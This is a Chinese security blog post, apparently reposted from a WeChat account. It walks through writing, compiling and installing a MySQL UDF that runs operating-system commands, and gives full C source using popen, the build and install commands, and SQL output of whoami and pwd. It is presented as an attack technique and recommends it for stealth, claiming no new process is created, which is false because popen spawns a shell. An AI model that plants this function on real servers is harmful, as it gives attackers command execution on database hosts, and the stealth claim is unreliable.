手动编写自己的 UDF 文件

admin 2023年12月14日02:48:11评论23 views字数 2837阅读9分27秒阅读模式

MySQL UDF 简介

MySQL UDF (User Defined Function) 是一种可以扩展 MySQL 功能的机制,通过编写 C 或 C++ 代码,可以创建自定义的函数,甚至执行系统命令。

要利用 MySQL UDF 执行系统命令,需要满足以下三个条件:

  • 拥有 MySQL 的 root 权限,可以创建和删除函数
  • 拥有 MySQL 服务的文件权限,可以将 UDF 文件写到 MySQL 插件目录
  • UDF 文件是针对目标系统的平台和架构编译的,否则会出现错误

编写代码

在上文提到,利用 UDF 执行系统命令需要针对目标系统的平台和架构编译,比如目标 MySQL 服务器为 Windows 系统则需要 UDF 文件后缀为 .dll,Linux 系统则需要 UDF 文件后缀为 .so

本次选择以 Kali Linux 系统为例,编译代码前首先需要安装开发库,Kali Linux 安装命令为:

┌──(root㉿kali)-[~]
└─# apt install libmariadb-dev

如果是 Centos 系统,可以使用如下命令安装开发库:

sudo yum install mysql-devel

安装开发库完毕后,创建 udf.so 文件并编写代码如下:

// 引入MySQL的头文件
#include <mysql.h>
// 引入标准输入输出的头文件
#include <stdio.h>
#include <string.h>
// 引入标准库的头文件
#include <stdlib.h>

// 定义一个外部的C函数,避免C++的名称修饰
extern "C" {
// 定义UDF的主函数,返回一个字符串
char *mycmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error);
// 定义UDF的初始化函数,返回一个布尔型
my_bool mycmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message);
// 定义UDF的结束函数,返回一个空类型
void mycmd_deinit(UDF_INIT *initid);
}

// 实现UDF的主函数
char *mycmd(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
// 从args中获取一个参数,转换为字符串
char *cmd = args->args[0];
// 定义一个文件指针,用于存储命令的输出
FILE *fp;
// 定义一个字符数组,用于存储命令的结果
char buffer[256];
// 使用popen函数执行命令,将输出存储到fp中
fp = popen(cmd, "r");
// 如果fp为空,表示命令执行失败,返回NULL
if (fp == NULL) {
*is_null = 1;
return NULL;
}
// 使用fgets函数从fp中读取一行数据,存储到buffer中
fgets(buffer, sizeof(buffer), fp);
// 使用pclose函数关闭fp
pclose(fp);
// 将buffer的内容复制到result中
strcpy(result, buffer);
// 获取result的长度,赋值给length
*length = strlen(result);
// 返回result
return result;
}

// 实现UDF的初始化函数
my_bool mycmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
// 检查参数的个数是否为1,否则报错
if (args->arg_count != 1) {
strcpy(message, "mycmd() requires one argument");
return 1;
}
// 检查参数的类型是否为字符串,否则报错
if (args->arg_type[0] != STRING_RESULT) {
strcpy(message, "mycmd() requires string argument");
return 1;
}
// 返回0表示成功
return 0;
}

// 实现UDF的结束函数
void mycmd_deinit(UDF_INIT *initid) {
// 释放initid中的内存
free(initid->ptr);
}

然后使用以下命令将其编译成动态链接库:

┌──(root㉿kali)-[~]
└─# g++ -shared -fPIC -I /usr/include/mariadb -o udf.so udf.c

其中,/usr/include/mariadb是指数据库头文件安装的所在目录,需要按照实际目录更改,可以使用以下命令查找:

sudo find / -name mysql.h

然后需要将生成的 udf.so 文件复制到 MySQL 的插件目录:

┌──(root㉿kali)-[~]
└─# cp udf.so /usr/lib/mysql/plugin
手动编写自己的 UDF 文件

最后,我们在 MySQL 中创建函数:

MariaDB [(none)]> CREATE FUNCTION mycmd RETURNS STRING SONAME 'udf.so';
Query OK, 0 rows affected (0.001 sec)

查询添加的函数是否成功:

MariaDB [(none)]> SELECT * FROM mysql.func;
+-------+-----+--------+----------+
| name | ret | dl | type |
+-------+-----+--------+----------+
| mycmd | 0 | udf.so | function |
+-------+-----+--------+----------+
1 row in set (0.008 sec)

命令执行

现在就可以通过在 MySQL 中调用函数以执行系统命令:

MariaDB [(none)]> SELECT mycmd('whoami');
+-----------------+
| mycmd('whoami') |
+-----------------+
| mysql
|
+-----------------+
1 row in set (0.003 sec)

MariaDB [(none)]> SELECT mycmd('pwd');
+-----------------+
| mycmd('pwd') |
+-----------------+
| /var/lib/mysql
|
+-----------------+
1 row in set (0.001 sec)
手动编写自己的 UDF 文件

小结

因为 UDF 是运行在可信执行环境(MySQL)中,所以具有一定的隐蔽性,在操作系统中并不会新建进程。

现在也有诸多可利用工具进行利用,如 sqlmap 的 --udf-inject 选项,其 UDF 文件存储在 /usr/share/sqlmap/data/udf 目录下:手动编写自己的 UDF 文件

- END -


原文始发于微信公众号(Ghost Wolf Lab):手动编写自己的 UDF 文件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日02:48:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   手动编写自己的 UDF 文件https://cn-sec.com/archives/2297015.html

发表评论

匿名网友 填写信息